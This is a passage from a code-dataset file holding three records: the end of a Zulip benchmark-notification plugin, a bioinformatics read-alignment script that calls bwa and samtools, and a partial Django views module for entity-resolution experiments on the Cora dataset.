       if self.nop:\n            return\n        if self.last_message_id and self.last_message_content:\n            self.modify_message(self.last_message_content + str(invocation))\n\n    def end_invocation(self, _hfac: Optional[float], _size: Optional[int], _bm: \"Benchmark\", _invocation: int):\n        if self.nop:\n            return\n\n    def start_config(self, _hfac: Optional[float], _size: Optional[int], _bm: \"Benchmark\", _invocation: int, _config: str, _config_index: int):\n        if self.nop:\n            return\n\n    def end_config(self, _hfac: Optional[float], _size: Optional[int], _bm: \"Benchmark\", _invocation: int, _config: str, config_index: int, passed: bool):\n        if self.nop:\n            return\n        if self.last_message_id and self.last_message_content:\n            if passed:\n                self.modify_message(self.last_message_content +\n                                    config_index_to_chr(config_index))\n            else:\n                self.modify_message(self.last_message_content + \".\")\n\n    def get_reservation_message(self) -> str:\n        reservation = self.moma.get_reservation()\n        if reservation is None:\n            return \"\"\n        if reservation.status is MomaReservationStatus.NOT_MOMA:\n            return \"# ** Warning: not running on a moma machine. **\\n\"\n        elif reservation.status is MomaReservationStatus.NOT_RESERVED:\n            return \"# ** Warning: machine not reserved. **\\n\"\n        elif reservation.status is MomaReservationStatus.RESERVED_BY_OTHERS:\n            return \"# ** Warning: machine reserved by {}, ends at {}. **\\n\".format(\n                reservation.user,\n                reservation.end\n            )\n        elif reservation.status is MomaReservationStatus.RESERVED_BY_ME:\n            assert reservation.end is not None\n            delta = reservation.end - datetime.now()\n            if delta < RESERVATION_WARNING_THRESHOLD:\n                return \"# ** Warning: less than {} hours of reservation left. Current reservation ends at {}. **\\n\".format(\n                    RESERVATION_WARNING_HOURS,\n                    reservation.end\n                )\n            else:\n                return \"\"\n        else:\n            raise ValueError(\"Unhandled reservation status value\")\n","repo_name":"anupli/running-ng","sub_path":"src/running/plugin/runbms/zulip.py","file_name":"zulip.py","file_ext":"py","file_size_in_byte":5917,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"77"}
+{"seq_id":"5940867039","text":"import argparse\nimport os\nimport subprocess\nimport pandas as pd\n\nparser = argparse.ArgumentParser(description='reads')\nparser.add_argument('--ind', help=\"ind to run this on\")\nargs = parser.parse_args()\nind = args.ind\n\n\nseq = '/scratch/lsa_flux/baizm/reference_genome/AloPal_combined.a.lines.fasta'\nread_dir = '/scratch/lsa_flux/baizm/Lane_1/cortes/flash_out/'\nout_dir = '/scratch/lsa_flux/baizm/alignments/'\n\n\ndef align_seq_pe(ind, out_dir, read_dir, seq):\n\tr1 = '%s%s.notCombined_1.fastq.gz' % (read_dir, ind)\n\tr2 = '%s%s.notCombined_2.fastq.gz' % (read_dir, ind)\n\t\n\tout1 = '%s%s_pe.sam' % (out_dir, ind)\n\tout2 = '%s%s_pe.mateFixed.bam' % (out_dir, ind)\n\tout3 = '%s%s_pe.mateFixed.sorted' % (out_dir, ind)\n\n\t# align\n\tsubprocess.call(\"bwa mem -t 20 %s %s %s > %s\" % (seq, r1, r2, out1), shell=True)\n\t# fixmate\n\tsubprocess.call(\"samtools fixmate %s %s\" % (out1, out2), shell=True)\n\t# sorted\n\tsubprocess.call(\"samtools sort %s %s\" % (out2, out3), shell=True)\n\t\n\t\ndef align_seq_ext(ind, out_dir, read_dir, seq):\n\tex = '%s%s.extendedFrags.fastq.gz' % (read_dir, ind)\n\n\tout1 = '%s%s_ext.sam' % (out_dir, ind)\n\tout2 = '%s%s_ext.bam' % (out_dir, ind)\n\tout3 = '%s%s_ext.sorted' % (out_dir, ind)\n\t\n\t# align\n\tsubprocess.call(\"bwa mem -t 20 %s %s > %s\" % (seq, ex, out1), shell=True)\n\t# bam\n\tsubprocess.call(\"samtools view -uS %s > %s\" % (out1, out2), shell=True)\n\t# sorted\n\tsubprocess.call(\"samtools sort %s %s\" % (out2, out3), shell=True)\n\n\ndef merge_and_rg(ind, out_dir, read_dir, seq):\n\n\tout1 = '%s%s_pe.mateFixed.sorted.bam' % (out_dir, ind)\n\tout2 = '%s%s_ext.sorted.bam' % (out_dir, ind)\n\tout3 = '%s%s_all.bam' % (out_dir, ind)\n\tout4 = '%s%s_all.rg.bam' % (out_dir, ind)\n\tintervals = '%s%s_all.intervals' % (out_dir, ind)\n\tout5 = '%s%s_all.realigned.bam' % (out_dir, ind)\n\tout6 = '%s%s_all.bwamem.unique.bam' % (out_dir, ind)\n\n\n\t# merge bam files for alignments of paired extended reads  \n\tsubprocess.call(\"samtools merge %s %s %s\" % (out3, out1, out2), shell=True) \n\t# readgroup\n\tsubprocess.call(\"java -jar ./picard.jar AddOrReplaceReadGroups INPUT=%s OUTPUT=%s RGLB=%s RGPL=Illumina RGPU=%s RGSM=%s\" % (out3, out4, ind, ind, ind), shell=True)\n\tsubprocess.call(\"samtools index %s\" % out4, shell=True)\n\t\n\n\n# align all the way until time to call SNPs\nalign_seq_pe(ind, out_dir, read_dir, seq)\nalign_seq_ext(ind, out_dir, read_dir, seq)\nmerge_and_rg(ind, out_dir, read_dir, seq)\n","repo_name":"baizm/snp-calling","sub_path":"align_reads.py","file_name":"align_reads.py","file_ext":"py","file_size_in_byte":2372,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"39235338718","text":"from django.shortcuts import render\nfrom sigirexperiments import performancemeasure\nfrom ERtasks.models import Cora_labeled,Cora\nfrom sigirexperiments import  models\nfrom register.models import WorkLog, WorkerInfo\nfrom  pyweb import  dxaconstants\nimport json\nimport dedupe\nimport os\nfrom django.http import HttpResponse\nfrom baselinealloy.castgather import searchmh,findtail\nfrom baselinealloy import  headcast\nfrom baselinealloy import models as alloymodels\nfrom django.core.paginator import Paginator, EmptyPage, PageNotAnInteger\nfrom sigirexperiments import recordsampling,featuresampling,clustering,processhelper,dextrapreclustering,patternRecommendation,hbf,trainingGenerator\nfrom django.db.models import Q\n\ntraining_file = 'cora_records_randsampling80_training.json'\nsettings_file = 'cora_records_randsampling80_learned_settings'\n\nworkeroperatiionNum = 10\n#samplemth = dxaconstants.RecordSamplingMethod.UncertainSampling\n#samplemth = dxaconstants.RecordSamplingMethod.SearchSampling\n# samplemth = dxaconstants.RecordSamplingMethod.DEXTRARandomSamplingIG\n# samplemth = dxaconstants.RecordSamplingMethod.DEXTRARandomSamplingIGPattern\n# samplemth = dxaconstants.RecordSamplingMethod.DEXTRARandomSamplingBasic\n# samplemth = dxaconstants.RecordSamplingMethod.DEXTRADIDSamplingBasic\n# samplemth = dxaconstants.RecordSamplingMethod.DEXTRADIDSamplingIGPattern\n# samplemth = dxaconstants.RecordSamplingMethod.DEXTRADIDIGPatternHBFsimple4\n# samplemth = dxaconstants.RecordSamplingMethod.hbfaffinegapOnlyclusterSimple\n# samplemth = dxaconstants.RecordSamplingMethod.hbfClusterViewSimpleMinhash\n# samplemth = dxaconstants.RecordSamplingMethod.hbfClusterViewSimpleMinhashaffinegap\nsamplemth = dxaconstants.RecordSamplingMethod.hbfClusterViewComplexMinhashaffinegap\n# samplemth = 'attributeClassifiers'\ntaskc = dxaconstants.ERTASK.Cora\nattrExplorationDisplayNum = 3\npattern_siblingDisplayNum = 3\ncontent_DisplayNum = 10\nattrBufferPoolSize = 15\nrecordBufferPoolSize = 200\nentity_view_threshold = 2\n\nexpriment_result_path = 'expriment_result.json'\notherInfo = 'hbf'\nclustering_result_path = 'expriment_clsuterresult.json'\n\nDID_flag = False\n# if samplemth == dxaconstants.RecordSamplingMethod.DEXTRADIDSamplingBasic:\n#     DID_flag = True\ndataset = Cora_labeled.objects.order_by('?')\nif taskc == dxaconstants.ERTASK.Cora:\n    if samplemth == dxaconstants.RecordSamplingMethod.DEXTRARandomSamplingIG or samplemth == dxaconstants.RecordSamplingMethod.DEXTRARandomSamplingIGPattern or samplemth == dxaconstants.RecordSamplingMethod.DEXTRARandomSamplingBasic:\n        dataset = Cora_labeled.objects.order_by('?')\n    elif DID_flag:\n        coradataset = Cora_labeled.objects.order_by('?') #init\n        clustdict = dextrapreclustering.minhashPreClustering(coradataset)\n        BPid = processhelper.fulfillRecordBufferPool(clustdict=clustdict,BP_size=recordBufferPoolSize)\n        # BP = [coradataset.get(id=item)  for item in BPid]\n        # dataset = recordsampling.DIDsamplingInit(dataset=coradataset,BF=BP,beta=1,clustdict=clustdict)\n        # dataset = dataset.order_by('orderscore').reverse()\n        # dataset = recordsampling.DIDsamplingLittleInit(dataset=coradataset,beta=1,clustdict=clustdict)\n        dataset = coradataset\n\n\n\n\n\ndef exploreperformance(request):\n\n    # nmi = record_uncertainsampling_temp(request)\n    # return  render(request,'sigir/exploreperformance.html',{'RecordSamplingMethod':dxaconstants.RecordSamplingMethod.UncertainSampling,'workerOperationNum':workeroperatiionNum,'data':nmi})\n    # dict = record_uncertainsampling_multimeasure(request,workeroperatiionNum)\n    #     # aa(request)\n\n    # #record_common_cluster_vs_opnum(username=username)\n    # record_common_cluster_measure(username=username)\n    # headcast.test('1,p,a',2,9)\n    # headcast.searchtfidf(seedid=885,kw='sympos,1993,tolerant',num=9)\n    username = request.session['username']\n    #recordsampling.DIDsampling()\n    # featuresampling.IG()\n    data = WorkerInfo.objects.filter(user=username).values_list('id', flat=True)\n    # outputpath = 'E:\\experiment_temp\\dextra_randomsampling_IG_Pattern\\_trainingdata\\DEXTRARandomSamplingIGPattern_op10_data.json'\n    # clustering.dextra_attrbute_hcluster(samplingMethod=samplemth,workeropNum=10,outputpath=outputpath,userid=data[0],username=username)\n    # performancemeasure.record_common_cluster_measure(samplemth=samplemth, list=[10])\n    # currentattr = models.sigirSynonymsSeedTemp.objects.filter(user=username)[0].cattr\n    # dict = patternRecommendation.synonymsForCurrentAttr(data=dataset,currentAttr=currentattr)\n    # for k, v in dict.items():\n    #     print(k, v)\n    # print(data[0])\n\n\n\n    ahbf = hbf.constructHBFfordataset(data[0])\n    print(json.dumps(ahbf))\n    hbf.printHBF(ahbf)\n    store_hbf_path = '_'.join([taskc.name,samplemth.name,str(workeroperatiionNum),otherInfo,'op.json'])\n    fw = open(store_hbf_path, 'w', encoding='utf-8')\n    json.dump(ahbf, fw, ensure_ascii=False, indent=4)\n    orderhbf = hbf.constructOrderedHBF(ahbf=ahbf,dataset=dataset)\n    orderhbf = hbf.computeEdges(orderhbf)\n    ordered_layers_dict = orderhbf.get_orderlayers_dict()\n    print(json.dumps(ordered_layers_dict))\n    # hbf.printOrderedHBF(orderhbf)\n    # hbf.printOrderedHBFByOrder(orderhbf)\n    hbf.printOrderedHBFByOrderOnly(orderhbf)\n    sum_dict = hbf.estimateN_ACR(orderhbf)\n    attris = models.sigirCoraAttr.objects.filter(userid=data[0])\n    values = models.sigirCoraAttrValue.objects.filter(attr_id__in=[ attr.id for attr in attris])\n    syns = models.sigirCoraValueSynonym.objects.filter(value_id__in=[ value.id for value in values])\n    experimentmsg = {'workerName':username,'worderid':data[0],'task':taskc.name,'method':samplemth.name,'opNum':workeroperatiionNum,'hbfstoredPath':store_hbf_path,'acr_measure':sum_dict,'U_size':attris.count(),'V_size':values.count(),'D_size':syns.count()}\n    f = open(expriment_result_path,'a')\n    json.dump(experimentmsg, f, ensure_ascii=False, indent=4)\n    f.write('\\n')\n    f.close()\n    print(json.dumps(experimentmsg))\n    cluster_dict = hbf.hbfClusterViewComplexMinhashaffinegap(corahbf=orderhbf,dataset=dataset,acr_threshold=0.3,username=username,dis_threshold=3)\n    for k,v in cluster_dict.items():\n        models.CoraPerformanceLog.objects.create(\n            explorationMethod=samplemth, clusterid=v,\n            cora_id=k, confidence=-1, workerOperationNum=workeroperatiionNum)\n    clusterresultdict = performancemeasure.record_sampling_clustermultimeasure_vs_opnum(wn=workeroperatiionNum,samplemth=samplemth)\n    ff = open(clustering_result_path, 'a')\n    json.dump(clusterresultdict, ff, ensure_ascii=False, indent=4)\n    ff.write('\\n')\n    ff.close()\n\n\n    # traingdata_path = '_'.join(['training',taskc.name, samplemth.name, str(workeroperatiionNum), otherInfo, '.train'])\n    # testingdata_path = '_'.join(['testing', taskc.name, samplemth.name, str(workeroperatiionNum), otherInfo, '.test'])\n    # validationdata_path = '_'.join(['validation', taskc.name, samplemth.name, str(workeroperatiionNum), otherInfo, '.dev'])\n    # traingdata, testingdata, validationdata = trainingGenerator.basicTrainingDataDenseGenerator(username=username)\n    # processhelper.writeTraingTest(traingdata_path,traingdata)\n    # processhelper.writeTraingTest(testingdata_path,testingdata)\n    # processhelper.writeTraingTest(validationdata_path, validationdata)\n\n    # recommendation_from_classifiers = processhelper.preocessPredictedResult(r'C:\\Users\\sayarara\\Desktop\\experiment_classifiers\\basic_dense\\predicted.txt')\n    # filtered_dict = processhelper.filterPredictedResult(recommendation_from_classifiers,userid=data[0])\n    # for k,v in filtered_dict.items():\n    #     print(k,len(v))\n    #     print(v)\n    # f = open('filtered_recommendation_from_basic_classifiers','a')\n    # json.dump(filtered_dict, f, ensure_ascii=False, indent=4)\n    # attras = models.sigirCoraAttr.objects.filter(userid=data[0])\n    # for attra in attras:\n    #     traingdata, testingdata, validationdata = trainingGenerator.AttributeTrainingDataGenerator(username=username,attr_id=attra.id)\n    #     traingdata_path = '_'.join([attra.attrname,taskc.name, samplemth.name, str(workeroperatiionNum), otherInfo, '.train'])\n    #     testingdata_path = '_'.join([attra.attrname, taskc.name, samplemth.name, str(workeroperatiionNum), otherInfo, '.test'])\n    #     validationdata_path = '_'.join([attra.attrname, taskc.name, samplemth.name, str(workeroperatiionNum), otherInfo, '.dev'])\n    #     processhelper.writeTraingTest(traingdata_path,traingdata)\n    #     processhelper.writeTraingTest(testingdata_path,testingdata)\n    #     processhelper.writeTraingTest(validationdata_path, validationdata)\n    #     allennlp_test_path = '_'.join([attra.attrname, taskc.name, samplemth.name, str(workeroperatiionNum), otherInfo, 'json.test'])\n    #     processhelper.writeAllenNLPTestFormat(allennlptestpath=allennlp_test_path,originalpath=testingdata_path)\n\n\n\n    # predicted_names_list = ['predicted_author.txt', 'predicted_confshortname.txt', 'predicted_period.txt',\n    #                         'predicted_press.txt', 'predicted_year.txt', 'predicted_pages.txt', 'predicted_place.txt']\n    # dir = r'C:\\Users\\sayarara\\Desktop\\experiment_classifiers\\attributes_clean\\predict'\n    # d = []\n    # synos = models.sigirCoraValueSynonym.objects.filter(userid=data[0])\n    # syns_list = [syn.synonym  for syn in  synos]\n    # for name in predicted_names_list:\n    #     path = dir + '\\\\' + name\n    #     print(path)\n    #     dict,t = processhelper.aaa(path=path)\n    #     d.append(dict['NULL'])\n    #     t = set(t).difference(set(syns_list))\n    #     print(t)\n    #     print(len(t))\n    #     nn = list(set(dict['NULL']).difference(set(syns_list)))\n    #     processhelper.writeTraingTest(dir + '\\\\' + 'filtered_related_'+name, t)\n    #     processhelper.writeTraingTest(dir + '\\\\' + 'filtered_not_related_' + name, nn)\n    # print(d)\n    #\n    # inter = d[0]\n    # for i in range(1, len(d)):\n    #     inter = set(inter).intersection(set(d[i]))\n    # print(inter)\n    # inter = list(set(inter).difference(set(syns_list)))\n    # processhelper.writeTraingTest(dir + '\\\\' + 'filtered_not_related_inter', inter)\n    #\n    # union = d[0]\n    # for i in range(1, len(d)):\n    #     union = set(union).union(set(d[i]))\n    # print(union)\n    # union = list(set(union).difference(set(syns_list)))\n    # processhelper.writeTraingTest(dir + '\\\\' + 'filtered_not_related_union', union)\n\n    # aa = patternRecommendation.synsUsingWordNet('eighth')\n    # print(aa)\n\n\n\n\n\n    # processhelper.test(dataset=dataset,username=username,userid=15)\n    # testa(username=username)\n    # processhelper.simpleAutoMatchDection()\n    #performancemeasure.record_sampling_clustermultimeasure_vs_opnum(wn=10,samplemth=samplemth)\n\n    # processhelper.testre(str='156')\n    # testb()\n    # cora = Cora_labeled.objects.all()\n    #     # featuresampling.minHashFastClusterIG(clusternum=100,cora=cora)\n    # data = WorkerInfo.objects.filter(user=username).values_list('id', flat=True)\n    # processhelper.sos(attrsynonym='oxford',taskc=taskc,samplemth=samplemth,user=data[0])\n\n\n\n\n\n    dict = {}\n    return render(request, 'sigir/exploreperformance.html',\n                  dict)\n\ndeduper = 0\ntemp_d = {}\n\n\n\ndef baselinededupeinit():\n    cora = Cora_labeled.objects.all()\n    # c_r = {}\n    # temp_d = dict((item.id, item.text) for item in cora)\n    # count = 1\n    for item in cora:\n        # c_r['id']=item.id\n        # c_r['text'] = item.text\n        # clean_row = dict([('text',item.text),('id',item.id)])\n        clean_row = dict([('text', item.text), ('id', str(item.id))])\n        temp_d[item.id] = dict(clean_row)\n    fields = [{'field': 'text', 'type': 'Text'}]\n    # Create a new deduper object and pass our data model to it.\n    deduper = dedupe.Dedupe(fields)\n    deduper.sample(temp_d)\n\ndef testb():\n    cora = Cora_labeled.objects.all()\n    for item in cora:\n        item.cleantext = processhelper.simpledatacleaning(item.text)\n        item.save()\n    print(\"done\")\n\n\ndef testa(username):\n    cora = Cora_labeled.objects.all()\n    # c_r = {}\n    # temp_d = dict((item.id, item.text) for item in cora)\n    # count = 1\n    for item in cora:\n        # c_r['id']=item.id\n        # c_r['text'] = item.text\n        # clean_row = dict([('text',item.text),('id',item.id)])\n        clean_row = dict([('text', item.text), ('id', str(item.id))])\n        temp_d[item.id] = dict(clean_row)\n    fields = [{'field': 'text', 'type': 'Text'}]\n    # Create a new deduper object and pass our data model to it.\n    deduper = dedupe.Dedupe(fields)\n    deduper.sample(temp_d)\n    clustering.testnosamplingclustering(deduper=deduper,username=username,samplingMethod=dxaconstants.RecordSamplingMethod.UncertainSampling,workeropNum=20,temp_d=temp_d)\n# Create your views here.\n\ndef entityview(request):\n    username = request.session['username']\n    # f = open('_'.join([username, str(entity_view_threshold),'entityview.json']), encoding='utf-8')\n    # entitydict = json.load(f)\n    f = open('_'.join([username, str(entity_view_threshold),'entityview.json']), \"r\")  # 设置文件对象\n    strr = f.read()  # 将txt文件的所有内容读入到字符串str中\n    f.close()  # 将文件关闭\n    entitydict = eval(strr)\n    dict = {}\n    for k,v in entitydict.items():\n        print(k)\n        if v:\n            print(v)\n        else:\n            print('NULL')\n\n        # kstr = []\n        # for i in range(entity_view_threshold):\n        #     aa = processhelper.viewhelperSummary(attrname=k[0][i],value=k[1][i])\n        #     kstr.append(aa)\n        coras = Cora.objects.filter(id__in=v)\n        # dict[' '.join(kstr)] = coras\n        dict[k] = coras\n        \n    return render(request,'sigir/entityview.html',{'entities':dict,'entity_view_threshold':entity_view_threshold})\n\n\ndef exploration(request):\n    username = request.session['username']\n    print(username)\n    data = WorkerInfo.objects.filter(user=username).values_list('id', flat=True)\n    # if DID_flag:\n    #     # dataset = recordsampling.DIDsamplingInit(dataset=coradataset, BF=coradataset, beta=1,\n    #     #                                          clustdict=clustdict)\n    #     # dataset = recordsampling.DIDsampling(dataset=coradataset, BF=coradataset, username=username, userid=data[0],\n    #     #                                      attra_id=attrid, beta=1, clustdict=clustdict)\n    #     # dataset = recordsampling.DIDsamplingNoAttr(dataset=coradataset,BF=BP,username=username,userid=data[0],clustdict=clustdict)\n    #     dataset = recordsampling.DIDsamplingNoAttrLittle(dataset=coradataset,BF=BPid,username=username,userid=data[0],clustdict=clustdict,beta=1)\n    #     dataset = dataset.order_by('orderscore').reverse()\n    # if request.method == 'POST':\n    #     attribute_editor = request.POST.get(\"attribute_editor\")\n    #     attrbute_create = request.POST.get(\"attribute_create\")\n    #     print(attrbute_create)\n    #     multis = request.POST.getlist(\"IG\")\n    #     print(multis)\n    #     submittype = request.POST.get(\"submit\")\n    #     print(submittype)\n    #     if submittype == \"create and bind\":\n    #         # pseedid = request.POST.get(\"pseedid\")\n    #         print(\"create and bind\")\n    # list_sort_value_desc = featuresampling.IG()\n\n    if request.is_ajax():\n        print(request.body)\n        print(request.POST)\n        searchkey = request.POST.get('searchkey')\n        page = request.POST.get('page')\n        print(searchkey)\n        # cora_list = Cora_labeled.objects.filter(text__contains=searchkey)\n        cora_list = dataset.filter(text__contains=searchkey)\n        print(cora_list)\n        paginator = Paginator(cora_list, content_DisplayNum)\n        try:\n            cora = paginator.page(page)\n        except PageNotAnInteger:\n            # first page\n            cora = paginator.page(1)\n        except EmptyPage:\n            # last page\n            cora = paginator.page(paginator.num_pages)\n        response = HttpResponse();\n        response['Content-Type'] = \"text/javascript\"\n        response.write(json.dumps({'rows': cora, 'total': len(cora)}))\n        return response\n    else:\n        searchkey = request.GET.get('q',\"\")\n        print(searchkey)\n        if searchkey:\n            # cora_list = Cora_labeled.objects.filter(text__icontains=searchkey)\n            # request.session['q'] = searchkey\n            cora_list = dataset.filter(text__contains=searchkey)\n        else:\n            # searchkey = request.session['q']\n            # if searchkey:\n            #     cora_list = Cora.objects.filter(text__contains=searchkey)\n            # else:\n            #     cora_list = Cora.objects.all\n            # cora_list = Cora_labeled.objects.all()\n            cora_list = dataset\n        print(searchkey)\n        paginator = Paginator(cora_list,content_DisplayNum) # Show 10 per page\n        page = request.GET.get('page')\n        print(page)\n        attrpage = request.GET.get('attrpage')\n        print(attrpage)\n        # attrpaginator = Paginator(list_sort_value_desc, 10)\n        if attrpage:\n            attrpage = int(attrpage)\n        else:\n            attrpage = 1\n\n        try:\n            cora = paginator.page(page)\n        except PageNotAnInteger:\n         # first page\n            cora = paginator.page(1)\n        except EmptyPage:\n        # last page\n            cora = paginator.page(paginator.num_pages)\n        # try:\n        #     attrig = attrpaginator.page(attrpage)\n        # except PageNotAnInteger:\n        #  # first page\n        #     attrig = attrpaginator.page(1)\n        # except EmptyPage:\n        # # last page\n        #     attrig = attrpaginator.page(attrpaginator.num_pages)\n        # coraa = Cora_labeled.objects.all()\n        # list_sort_value_desc = featuresampling.minHashFastClusterIG(clusternum=100, cora=coraa)\n        # print(list_sort_value_desc[0:10])\n        # return render(request, 'sigir/exploration.html',{'data': cora,'searchkey':searchkey,'attrIG':list_sort_value_desc[0+attrExplorationDisplayNum*(attrpage-1):attrExplorationDisplayNum*attrpage]})\n\n        if not models.sigirAttrExploration.objects.filter(user=username):\n            # init the substrings with information gain\n            featuresampling.minHashFastClusterIG(clusternum=100,cora=dataset,username=username)\n        attrexplo = models.sigirAttrExploration.objects.filter(user=username,is_labelled=False).order_by('orderscore').reverse()\n        a = [ item.substring for item in  attrexplo]\n        print(a)\n        matches = []\n        seeds = models.patternSeedTemp.objects.filter(user=username)\n        attrname = ''\n        if seeds:\n\n            seedslist = processhelper.str2list(seedstr=seeds[0].seedsubstring, deli='###')\n            print(seedslist)\n            syn = models.sigirCoraValueSynonym.objects.filter(synonym=seedslist[0],userid=data[0])[0]\n            attrname = syn.value.attr.attrname\n            attrid = syn.value.attr_id\n            # if DID_flag:\n            #     # dataset = recordsampling.DIDsamplingInit(dataset=coradataset, BF=coradataset, beta=1,\n            #     #                                          clustdict=clustdict)\n            #     # dataset = recordsampling.DIDsampling(dataset=coradataset,BF=BP,username=username,userid=data[0],attra_id=attrid,beta=1,clustdict=clustdict)\n            #     dataset = recordsampling.DIDsamplingLittle(dataset=coradataset,BF=BPid,username=username,userid=data[0],attra_id=attrid,beta=1,clustdict=clustdict)\n            #     dataset = dataset.order_by('orderscore').reverse()\n            values = models.sigirCoraAttrValue.objects.filter(attr_id=attrid, userid=data[0])\n            osysn = models.sigirCoraValueSynonym.objects.filter(value_id__in=[item.id for item in values])\n            match = patternRecommendation.findCandidateSilbings(seedslist=seedslist, data=dataset)\n            matches = list(set(match).difference(set([item.synonym for item in osysn])))[0:pattern_siblingDisplayNum]\n\n        stadvalname = ''\n        valsyns = []\n        curentattrias  = models.sigirSynonymsSeedTemp.objects.filter(user=username)\n        if curentattrias:\n            currentattr = curentattrias[0].cattr\n            dict = patternRecommendation.synonymsForCurrentAttr(data=dataset, currentAttr=currentattr)\n            if len(dict) == 0:\n                stadvalname = ''\n                valsyns = []\n            else:\n                a = sorted(dict.items())[0]\n                stadvalname =a[0]\n                valsyns = a[1]\n\n        # dataset process progress\n        ahbf = hbf.construct_value_level_HBFfordataset(data[0])\n        entitydict = hbf.entityView(ahbf=ahbf,entity_view_threshold=entity_view_threshold)\n        entityprogress = processhelper.getDatasetProgress(entitydict=entitydict)\n        # fw = open('_'.join([username, str(entity_view_threshold),'entityview.json']), 'w', encoding='utf-8')\n        # json.dump(entitydict, fw, ensure_ascii=False, indent=4)\n        f = open('_'.join([username, str(entity_view_threshold),'entityview.json']), 'w')\n        f.write(str(entitydict))\n        f.close()\n        # attribute process progress\n        attributeprogress = processhelper.getAttributeProgress(userid=data[0],user=username)\n        print(attributeprogress)\n        return render(request, 'sigir/exploration.html', {'epg':entityprogress,'ap':attributeprogress,'ap2':attributeprogress,'data': cora, 'searchkey': searchkey,'matches':matches,'attrname':attrname,'syns':valsyns,'standvalue':stadvalname,\n                                                          'attrIG2': attrexplo[\n                                                                    0 + attrExplorationDisplayNum * (\n                                                                                attrpage - 1):attrExplorationDisplayNum * attrpage]})\n\n        # return render(request, 'sigir/exploration.html',\n        #           {'data': cora, 'searchkey': searchkey, 'attrIG': attrig})\n\n\ndef attrexploration(request):\n    username = request.session['username']\n    data = WorkerInfo.objects.filter(user=username).values_list('id', flat=True)\n    print(data[0])\n    if request.method == 'POST':\n        attrbute_create = request.POST.get('attrname')\n        print(attrbute_create)\n        multis = request.POST.getlist(\"IG\")\n        print(multis)\n        msg = {\"attrname\":attrbute_create,'selectedvalues':multis}\n        models.dextraitems.objects.create(task=taskc,msg=json.dumps(msg),optype=dxaconstants.WorkerOperation.createAndBind,user=data[0],samplingMethod=samplemth)\n        coraattr = models.sigirCoraAttr.objects.filter(attrname=attrbute_create,userid=data[0])\n\n\n\n\n\n        if not coraattr:\n            coraattr = models.sigirCoraAttr(attrname=attrbute_create, attrscope='local', is_alive=1, userid=data[0])\n            coraattr.save()\n        else:\n            coraattr = coraattr[0]\n        print(coraattr.id,coraattr.attrname)\n        values = models.sigirAttrExploration.objects.filter(id__in = multis)\n        seeds = [ item.substring for item in  values]\n        ss = models.patternSeedTemp.objects.filter(user=username)\n        seedsstr = processhelper.list2str(seedslist=seeds,deli='###')\n        if ss:\n            ss[0].seedsubstring = seedsstr\n            ss[0].save()\n            models.sigirSynonymsSeedTemp.objects.filter(user=username).update(cattr=coraattr)\n        else:\n            models.patternSeedTemp.objects.create(seedsubstring=seedsstr,user=username)\n            models.sigirSynonymsSeedTemp.objects.create(cattr=coraattr,user=username)\n        substrings = models.sigirAttrExploration.objects.filter(is_labelled=False,user=username).order_by('orderscore').reverse()[\n                     0:attrBufferPoolSize]\n        #decay\n        for item in  substrings:\n            if item.id not in multis:\n                item.orderscore = item.orderscore*0.8\n                item.save()\n        for item in values:\n            print(item.substring)\n            val = models.sigirCoraAttrValue(attr_id=coraattr.id, value=item.substring, userid=data[0])\n            val.save()\n            corasyno = models.sigirCoraValueSynonym(value=val, synonym=item.substring, userid=data[0])\n            corasyno.save()\n            # if len(item.substring) < 4:\n            #     # check boundaries\n            #     print(item.substring)\n            #     llist = Cora_labeled.objects.filter(cleantext__icontains=' '+item.substring+' ')\n            # else:\n            #     llist = Cora_labeled.objects.filter(text__icontains=item.substring)\n            # llist = Cora_labeled.objects.filter(Q(cleantext__icontains=' ' + item.substring + ' ')| Q(cleantext__istartswith=item.substring + ' ')| Q(cleantext__iendswith=' ' + item.substring))\n            # llist = dataset.filter(\n            #     Q(cleantext__icontains=' ' + item.substring + ' ') | Q(cleantext__istartswith=item.substring + ' ') | Q(\n            #         cleantext__iendswith=' ' + item.substring))\n            #\n            #\n            # # restr = '<details><summary><span class=\"summaryText\">'+attra.attrname+'</span></summary><p class = \"detailtext\">'+attrsynonym+'</p></details>'\n            # restr = '<span class = \"detailtext\">' + item.substring + '<span class=\"deli\">|</span><span class=\"summaryText\">' + coraattr.attrname + '.' + item.substring + '</span></span>'\n            llist = processhelper.datasetfilteringMultiContitiion(dataset=dataset, substring=item.substring)\n            restr = processhelper.viewhelper(substring=item.substring, attrbute_name=coraattr.attrname, value=item.substring)\n            for entiy in llist:\n                entiy.labeledtext = entiy.labeledtext.replace(item.substring, restr)\n                entiy.save()\n                models.sigirCoraToAttrEntity.objects.create(cora_id=entiy.id, attrsynonym=corasyno,user=username)\n            # item.delete()\n            item.is_labelled = True\n            item.save()\n    # substrings = models.sigirAttrExploration.objects.all()[0:attrBufferPoolSize]\n    substrings = models.sigirAttrExploration.objects.filter(is_labelled=False,user=username).order_by('orderscore').reverse()[0:attrBufferPoolSize]\n    return render(request, 'sigir/attrexploration.html',{'attrIG':substrings})\n\n\ndef pattern_siblings(request):\n    username = request.session['username']\n    data = WorkerInfo.objects.filter(user=username).values_list('id', flat=True)\n    if request.method == 'POST':\n        attrbute_name = request.POST.get('attrname')\n        print(attrbute_name)\n        attr = models.sigirCoraAttr.objects.get(attrname=attrbute_name,userid=data[0])\n        multis = request.POST.getlist(\"_selected_siblings\")\n        print(multis)\n        # a = [ str(item) for item in multis]\n        # print(a)\n        seedsstr = processhelper.list2str(seedslist=multis, deli='###')\n        seedtemp = models.patternSeedTemp.objects.get(user=username)\n        seedtemp.seedsubstring = seedsstr\n        seedtemp.save()\n        msg = []\n        for substring in multis:\n            val = models.sigirCoraAttrValue(attr_id=attr.id, value=substring.replace(' ','_'), userid=data[0])\n            val.save()\n            a = processhelper.updateUVDcontent(dataset=dataset, attra=val.attr, valueid=val.id, attrsynonym=substring,\n                                               userid=data[0], username=username)\n            msg.append(a)\n        #     corasyno = models.sigirCoraValueSynonym(value=val, synonym=substring, userid=data[0])\n        #     corasyno.save()\n        #     llist = processhelper.datasetfilteringMultiContitiion(dataset=dataset,substring=substring)\n        #     restr = processhelper.viewhelper(substring=substring,attrbute_name=attrbute_name,value=val.value)\n        #     for entiy in llist:\n        #         entiy.labeledtext = entiy.labeledtext.replace(substring, restr)\n        #         entiy.save()\n        #         models.sigirCoraToAttrEntity.objects.create(cora_id=entiy.id, attrsynonym=corasyno, user=username)\n        # 